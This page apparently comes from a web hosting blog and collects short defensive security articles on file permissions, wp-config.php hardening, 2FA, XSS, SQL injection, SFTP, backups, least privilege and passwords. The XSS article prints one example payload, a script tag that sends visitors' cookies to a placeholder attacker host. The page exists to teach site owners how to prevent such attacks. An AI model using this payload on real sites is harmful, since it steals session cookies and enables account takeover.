Home Blog Page 91

What are file permissions and how to set them correctly

0

File permissions are rules that control who can read, write, or execute (run) files and directories on a server or computer. They are crucial for website and server security because improperly set permissions can let attackers view, alter, or delete your files.


Understanding File Permissions

On most web servers (especially Linux-based), permissions are represented by three types of access for three groups of users:

  • User (Owner): The account that owns the file.
  • Group: Other accounts in the owner’s group.
  • Others (World): Everyone else.

Each group can have three permissions:

  • Read (r): Can view the file’s contents.
  • Write (w): Can modify the file.
  • Execute (x): Can run the file as a program (or, for directories, access files inside).

Permissions are usually shown as a three-digit number (like 644), or as letters (like rw-r--r--).

Example:

  • 644 → Owner can read/write, group and others can only read.
  • 755 → Owner can read/write/execute, group and others can read and execute.

How to Set File Permissions Correctly

For Most Websites (WordPress, Joomla, etc.):

  • Files: 644
    • Owner can read and write.
    • Group and others can only read.
  • Directories (Folders): 755
    • Owner can read, write, and execute (needed to access folder contents).
    • Group and others can read and execute (so your website works), but not write.

How to Set Permissions via Command Line (SSH):

bash
# Set all files to 644:
find /path/to/your/site -type f -exec chmod 644 {} \;

# Set all directories to 755:
find /path/to/your/site -type d -exec chmod 755 {} \;

How to Set Permissions via FTP or File Manager:

  • Right-click a file or folder.
  • Choose “Permissions” or “Change Permissions.”
  • Enter the number (e.g., 644 or 755), or check the appropriate boxes.

Special Cases

  • Sensitive files (like wp-config.php):
    You can set stricter permissions, e.g., 400 or 440 (only the owner or server can read).
  • Never use 777:
    This gives everyone full control—attackers could upload or change your files!

Quick Reference Table

Item Recommended Permission
All files 644
All directories 755
wp-config.php (WP) 400 or 440
No files/directories 777

Summary

  • File permissions tell the server who can read, write, or execute files.
  • Use 644 for files and 755 for directories.
  • Avoid overly permissive settings (777).
  • Set stricter permissions for sensitive files.
  • Regularly review your permissions to keep your site secure!

Well-set permissions are like strong locks on the doors and windows of your website—don’t leave them open!

How to secure your wp-config.php file.

0

Securing your wp-config.php file is a key step in protecting your WordPress site, because this file contains your database credentials and crucial configuration settings. If an attacker gets access to it, they can potentially take over your entire site. Here are practical ways to keep your wp-config.php file safe:


1. Move wp-config.php Above the Web Root

  • Why: By default, wp-config.php sits in your site’s root directory (often public_html or www). WordPress will still find this file if you move it one level up, making it inaccessible to the web.
  • How:
    • Move the file up one directory (outside of the web-accessible folder).
    • WordPress will automatically detect it there.

2. Set Correct File Permissions

  • Why: Restrictive permissions ensure only the server (and not other users or processes) can read the file.
  • How:
    • Using SSH or your hosting file manager, set permissions to 400 or 440:
      bash
      chmod 400 wp-config.php
      
    • This means only the file owner (usually the server process) can read it.

3. Deny Web Access via .htaccess

  • Why: If someone tries to access wp-config.php through a browser, they should be blocked.
  • How:
    • If you use Apache, add this to your .htaccess file in the root directory:
      <files wp-config.php>
        order allow,deny
        deny from all
      </files>
      
    • For Nginx, add this to your config:
      location ~* wp-config.php {
          deny all;
      }
      

4. Keep Backups Secure

  • Why: Old backups containing wp-config.php should be stored outside the web root and protected as well.

5. Avoid Downloadable Backups

  • Why: Never keep downloadable copies of wp-config.php in your web directories (like wp-config.php.bak or wp-config.php~). Attackers often look for these.

6. Secure Hosting Environment

  • Why: Even if your file is locked down, an insecure server can still put you at risk.
  • How:
    • Keep your hosting, PHP version, and all server software updated.
    • Use strong passwords for your hosting and database accounts.

Quick Checklist

  • Move wp-config.php above web root
  • Set permissions to 400 or 440
  • Block web access via .htaccess or Nginx config
  • Secure all backups
  • Remove any downloadable backup copies
  • Maintain a secure hosting environment

In summary:
A locked-down wp-config.php is a cornerstone of WordPress security. Simple steps like moving it, setting strict permissions, and blocking web access can go a long way to keeping your site safe from attackers.

The security risks of outdated software and plugins.

0

Why Outdated Software and Plugins Are Dangerous

1. Vulnerabilities Are Public Knowledge

When developers discover security flaws (“vulnerabilities”) in software or plugins, they often release updates (patches) to fix them. The details of these vulnerabilities are usually published so users know to update. Unfortunately, hackers also read these reports—and they quickly build tools to exploit unpatched systems.

If you don’t update, you’re basically advertising your weaknesses to attackers.

2. Automated Attacks

Cybercriminals use automated bots to scan the internet for sites and servers running outdated versions of popular software (like WordPress, Joomla, cPanel, plugins, or even server operating systems). If your site is running an old version, you become a target without even realizing it.

3. Exposure to Malware and Defacement

Outdated plugins and software are a leading cause of:

  • Website defacement (hackers replace your site with their own message)
  • Malware injection (your site spreads viruses to visitors)
  • Spam relaying (your server sends out spam emails)
  • Data theft (customer data, emails, or passwords stolen)

4. Chain Reactions

Many plugins and software components rely on each other. If one is outdated and compromised, it can provide a foothold for hackers to attack other, even up-to-date, parts of your site or server.

5. Loss of Trust and Reputation

A hacked website can cause:

  • Loss of visitor trust
  • Blacklisting by search engines (Google may warn users away)
  • Legal trouble if customer data is exposed

How to Protect Yourself

  1. Regularly Update Everything
    • Core software (e.g., WordPress, Joomla, Magento)
    • All plugins, modules, and extensions
    • Themes/templates
    • Server software (PHP, MySQL, Apache/Nginx)
  2. Remove What You Don’t Use
    • Unused plugins or themes are often forgotten and left unpatched.
    • Fewer components mean fewer possible vulnerabilities.
  3. Backup Before Updating
    • Always have a recent backup in case an update causes problems.
  4. Monitor for Updates Automatically
    • Enable auto-updates where possible.
    • Use security plugins or tools that alert you when something is outdated.

Bottom Line

Outdated software and plugins turn your website or server into an easy target.
Staying up-to-date is one of the simplest and most effective ways to protect yourself from hackers, malware, and data loss. Make updating a routine part of your site management—it’s worth the effort.

Two-Factor Authentication (2FA) for your hosting account.

0

Two-Factor Authentication (2FA) is a security feature that adds an extra layer of protection to your hosting account, making it much harder for hackers to gain access—even if they manage to steal your password.


What is 2FA?

2FA requires you to provide two different types of identification when logging in:

  1. Something you know: Your password.
  2. Something you have: A temporary code generated by an app on your phone or sent via SMS/email.

So, even if an attacker guesses or steals your password, they still need the second factor—usually your phone—to get in.


Why Use 2FA for Your Hosting Account?

Your hosting account controls your website, databases, email, and sometimes even domain names. If someone breaks in, they could:

  • Deface or delete your website
  • Steal customer data
  • Hijack your email accounts
  • Plant malware or phishing pages

2FA dramatically reduces the chance of unauthorized access, because the attacker would need both your password and access to your second factor (like your phone).


How to Enable 2FA on Your Hosting Account:

  1. Log in to your hosting provider’s dashboard.
  2. Find the Security section (often called “Security Settings,” “Account Security,” or similar).
  3. Look for Two-Factor Authentication.
  4. Choose your method: Most hosts offer app-based codes (using Google Authenticator, Authy, etc.), SMS codes, or even hardware tokens.
  5. Follow the setup steps: Usually, you’ll scan a QR code with your authenticator app, and then enter a code from your phone to confirm.
  6. Save your backup codes: These let you access your account if you lose your phone.

Best Practices:

  • Use app-based 2FA (like Authy or Google Authenticator) instead of SMS if possible—SMS can be intercepted.
  • Keep backup codes in a safe place (not on your computer!).
  • Enable 2FA for all accounts with access to your hosting, including admins and collaborators.
  • Review your account recovery process to ensure it’s also secure.

In Summary:

Two-Factor Authentication is one of the simplest and most effective ways to protect your hosting account from hackers. It adds a crucial second lock to your site’s front door, keeping your website—and your reputation—much safer.

What is cross-site scripting (XSS) and how to prevent it.

0

Cross-site scripting (XSS) is a type of security vulnerability commonly found in web applications. It allows attackers to inject malicious scripts—usually JavaScript—into web pages that other users view. When unsuspecting users load the affected page, the malicious script runs in their browser, potentially stealing cookies, session tokens, or other sensitive data, or even performing actions on behalf of the user.


How XSS Works (in simple terms):

Imagine a website that displays user comments. If the site doesn’t properly check or clean up (sanitize) what users submit, an attacker could post a comment like this:

html
<script>document.location='http://malicious.site/steal?cookie='+document.cookie</script>

When someone else views the page, the script runs in their browser, grabbing their cookie and sending it to the attacker.


Types of XSS:

  1. Stored XSS: The malicious script gets permanently stored on the target site.
  2. Reflected XSS: The script is reflected off the web server (e.g., via a search result or error message).
  3. DOM-based XSS: The vulnerability exists in client-side code, where user input is handled insecurely by JavaScript.

How to Prevent XSS:

1. Escape Output

  • Always escape user-generated content before displaying it in HTML, JavaScript, or CSS. Many frameworks have built-in functions:
    • PHP: htmlspecialchars($string, ENT_QUOTES, 'UTF-8')
    • JavaScript (React, Angular, Vue): Output is escaped by default when using templating.

2. Validate and Sanitize Input

  • Accept only the expected type, length, and format of data.
  • Remove or neutralize unwanted code or characters.

3. Use Content Security Policy (CSP)

  • Add a CSP header to your site to restrict where scripts can be loaded from:
    http
    Content-Security-Policy: default-src 'self'
    
  • This helps prevent attackers from executing unauthorized scripts, even if they manage to inject them.

4. Avoid Dangerous APIs

  • Never use eval() or innerHTML to process user input in JavaScript, as these can execute injected scripts.

5. Framework Security

  • Use modern web frameworks that handle encoding/escaping automatically.
  • Don’t turn off built-in XSS protections.

6. HTTPOnly Cookies

  • Set session cookies as HttpOnly so they can’t be accessed via JavaScript.

Quick Summary Table

Prevention Technique What It Does
Escape Output Neutralizes HTML/script tags
Validate/Sanitize Input Blocks or cleans bad inputs
Content Security Policy Restricts script sources
Avoid Dangerous APIs Prevents risky code execution
Framework Security Leverages built-in protections
HTTPOnly Cookies Blocks JS from reading cookies

Bottom line:
Always treat user input as untrusted. Escape it, sanitize it, and use security headers like CSP. A layered approach is the best way to defend your website and your users from XSS attacks.

How to protect your website from SQL injection attacks.

0

What is SQL Injection?

SQL injection happens when an attacker tricks your website into running malicious SQL code, usually by entering sneaky commands into forms or URLs. If your site isn’t protected, attackers can read, modify, or even delete your database data.


How to Protect Your Website

1. Use Prepared Statements (Parameterized Queries)

This is the #1 defense.
Instead of building SQL queries by gluing together strings (which is risky), use prepared statements with placeholders for user input.

Example (PHP with PDO):

php
$stmt = $pdo->prepare('SELECT * FROM users WHERE email = ?');
$stmt->execute([$user_email]);

This keeps user input separate from your SQL commands—so even if someone tries to inject malicious code, it won’t work.


2. Use ORM Libraries

Frameworks and ORMs (like Laravel’s Eloquent, Django ORM, or Ruby on Rails’ ActiveRecord) handle query building for you, automatically escaping user input and preventing injection.


3. Validate and Sanitize User Input

Don’t trust anything users enter.

  • Validation: Make sure the data is what you expect (e.g., an email address, a number).
  • Sanitization: Remove or escape potentially harmful characters.

But remember: validation and sanitization are defensive layers—never a substitute for parameterized queries.


4. Limit Database Privileges

Follow the principle of least privilege:

  • The database user your website uses should have only the permissions needed (e.g., just SELECT, INSERT, UPDATE, and DELETE—not DROP TABLE or administrative privileges).

5. Error Handling

Don’t show raw database errors to users—they can reveal your query structure and help attackers refine their attacks.

  • Display generic error messages to users.
  • Log detailed errors privately for your own debugging.

6. Keep Software Updated

Always update your CMS, plugins, frameworks, and database systems. Security patches often fix vulnerabilities (including those related to SQL injection).


7. Use a Web Application Firewall (WAF)

A WAF can detect and block many common SQL injection attempts before they even reach your website code.


Quick Checklist

  • Always use prepared statements (parameterized queries)
  • Validate and sanitize all user inputs
  • Limit database privileges for your web app
  • Hide detailed error messages from the public
  • Keep all software and plugins up to date
  • Use a WAF for extra protection

In summary:
SQL injection is a serious threat, but the good news is that it’s entirely preventable with careful coding and good security practices. Use prepared statements everywhere, validate input, and keep your software updated—these small steps make a big difference in keeping your website (and your users) safe.

What is SFTP and why is it more secure than FTP?

0

What is SFTP?

SFTP stands for Secure File Transfer Protocol (or more accurately, SSH File Transfer Protocol). It’s a network protocol that allows you to transfer files between your local computer and a remote server—think uploading website files to your web host or downloading backups.

But here’s the key: SFTP runs over SSH (Secure Shell), which means all your data, including your login credentials and the files themselves, are encrypted while in transit.


How is SFTP Different from FTP?

FTP (File Transfer Protocol) is the older, more basic protocol for transferring files. However, it sends data—including your usernames and passwords—in plain text. Anyone intercepting your network traffic could see your login details and the files you’re moving!

SFTP, on the other hand, encrypts everything. So even if someone is snooping on your connection, all they’d see is a jumble of unreadable data.


Why is SFTP More Secure?

  1. Encryption:
    All data (files, commands, passwords) is encrypted end-to-end. No one can “listen in” and steal your credentials or see your files.
  2. Authentication:
    SFTP uses SSH keys or strong passwords for authentication, making it much harder for unauthorized users to break in.
  3. Data Integrity:
    SFTP checks that the data hasn’t been tampered with during transfer, helping ensure what you upload or download is exactly what you intended.
  4. Firewall-Friendly:
    SFTP operates on a single port (usually port 22), making it easier to secure with firewalls compared to FTP, which uses multiple ports and can be trickier to lock down.

A Simple Analogy

Think of FTP like sending a postcard—anyone handling it along the way can read everything you wrote.
SFTP is more like sending a locked, armored box with a special key—only you and the recipient can open and read its contents.


In Summary

  • SFTP is a secure, encrypted way to transfer files, built on SSH.
  • FTP is outdated and insecure, sending sensitive information in the clear.
  • Always use SFTP (or another secure method like FTPS) when working with your website or server files. It’s a small change that makes a big difference in keeping your data safe.

How to back up your website and why it’s your last line of defense

0

Backing up your website is like having a safety net beneath a tightrope—most of the time, you hope you’ll never need it, but if something goes wrong, it can be the difference between a bad day and a total disaster. Let’s walk through why backups are so crucial, and how you can set them up effectively.


Why Backups Are Your Last Line of Defense

No matter how many security measures you take—firewalls, strong passwords, regular updates—things can still go wrong. Websites can be hacked, servers can crash, plugins can malfunction, or you might accidentally delete something important. When that happens, a recent backup lets you quickly restore your site to a working state, minimizing downtime, data loss, and stress.

Without a backup, you risk:

  • Losing all your content, images, and customer data
  • Facing long downtimes as you try to rebuild from scratch
  • Damaging your reputation and SEO rankings

A backup is your digital insurance policy: you hope you never need it, but you’ll be grateful you have it when things go sideways.


How to Back Up Your Website

1. Use Your Hosting Provider’s Backup Tools

Most reputable hosts offer automated backups as part of their service. Check your hosting control panel (like cPanel or Plesk) for backup options.

  • Manual backups: Download your site files and databases with a few clicks.
  • Automated/scheduled backups: Set it once, and let your host handle regular backups for you.

2. Install a Backup Plugin (for CMS Sites)

If you’re using WordPress, Joomla, or Drupal, there are excellent plugins/extensions that make backups easy.

WordPress examples:

  • UpdraftPlus: Schedule automatic backups to cloud storage (Google Drive, Dropbox, etc.) or download them to your computer.
  • BackupBuddy: Full-site backups, automated scheduling, and easy restores.

3. Back Up Both Files and Database

Your website is made up of two main components:

  • Files: Themes, plugins, images, scripts, etc.
  • Database: Stores your content, user info, settings.

You need to back up both. Most tools and plugins will handle this automatically, but double-check just to be sure.

4. Store Backups Offsite

Don’t keep all your backups on the same server as your website. If the server crashes or is compromised, you could lose both your site and your backups. Use cloud storage (Dropbox, Google Drive, Amazon S3) or download backups regularly to your local computer.

5. Test Your Backups

A backup is only useful if it works. Occasionally, restore your site from a backup in a safe/testing environment to make sure everything comes back as expected.

6. Set a Schedule

  • Active sites: Daily or weekly backups.
  • Less active sites: Weekly or monthly.
  • Before major changes: Always take a fresh backup before updates or big changes.

Quick Checklist

  • Back up both website files and database
  • Store backups offsite
  • Automate and schedule regular backups
  • Test your backups occasionally
  • Take an extra backup before updates or changes

In summary:
Backups are your last line of defense. They turn disasters into manageable hiccups. Set them up, automate them, and never be caught off guard—you’ll thank yourself when you need them most.

The principle of least privilege in user access control.

0

At its simplest, the principle of least privilege means that every user, program, or process should have only the minimum access or permissions needed to perform its job—nothing more, nothing less.

Think of it like this: If you hire a house cleaner, you give them a key to the rooms they need to clean, but you don’t hand them the keys to your safe or your car. It’s about limiting risk by sharing only what’s essential.


Why Is It Important?

  1. Reduces Attack Surface:
    If a hacker compromises an account with minimal access, their ability to do harm is limited. They can’t access sensitive files or change critical settings.
  2. Minimizes Mistakes:
    Even trusted users make mistakes. If they don’t have access to things they shouldn’t touch, they can’t accidentally delete, modify, or expose important data.
  3. Contains Breaches:
    Should an account be misused or compromised, least privilege ensures that the damage is contained and doesn’t spread to the whole system.

How to Apply Least Privilege

  • Assign Roles & Permissions Carefully:
    Give users only the rights they need. For example, a content editor on your CMS shouldn’t have access to server settings or backup controls.
  • Review Permissions Regularly:
    People’s roles change, and so should their access. Periodically audit who can do what, and remove permissions that are no longer needed.
  • Use Separate Accounts for Administration:
    Don’t use your main admin account for daily tasks—save it just for admin work. Use a regular account for everyday activities.
  • Limit Access to Sensitive Files:
    Restrict access to configuration files, databases, and backups to only those who absolutely need it.
  • Leverage Built-in Security Features:
    Many hosting providers and CMS platforms allow you to set different user roles and permissions. Make full use of these features.

In summary:
The principle of least privilege is about being smart with access—giving everyone just enough to do their job, and nothing more. It’s a simple but powerful way to keep your website, data, and users safe from both accidents and attacks.

How to create strong passwords for your hosting account and CMS

0

1. Go Long and Complex

The longer and more complicated your password, the harder it is to crack. Aim for at least 12 characters (but more is always better).

What to include:

  • Uppercase letters (A–Z)
  • Lowercase letters (a–z)
  • Numbers (0–9)
  • Special characters (!, @, #, $, %, etc.)

Example:
T!m3T0_R3b00t$2024!


2. Avoid the Obvious

Steer clear of:

  • Real words or phrases (e.g., “password,” “admin,” “letmein”)
  • Personal information (your name, birthdate, pet’s name)
  • Common patterns (123456, qwerty, abc123)

3. Use Passphrases

A passphrase is a string of random words or a nonsensical sentence that’s easy for you to remember but hard for others (and bots) to guess.

Example:
Purple!Sandwich$Rocket7_Moon


4. Make Every Password Unique

Never reuse passwords between your hosting account, CMS, email, or any other services. If one gets compromised, you don’t want them all to fall like dominoes.


5. Use a Password Manager

Remembering dozens of strong, unique passwords is nearly impossible for most humans. A password manager (like LastPass, 1Password, or Bitwarden) securely stores them for you and can generate ultra-strong passwords whenever you need one.


6. Enable Two-Factor Authentication (2FA)

Whenever possible, turn on 2FA for your hosting and CMS logins. This adds a second layer of security by requiring a code from your phone (or another device) in addition to your password.


Quick Checklist for Strong Passwords

  • At least 12 characters long
  • Mix of upper/lowercase letters, numbers, and symbols
  • Not based on personal info or real words
  • Unique for each account
  • Stored in a password manager
  • 2FA enabled if available

In summary:
A strong password is like a sturdy lock on your digital front door. Take a few extra moments to create—and protect—it well, and you’ll save yourself a world of trouble down the line.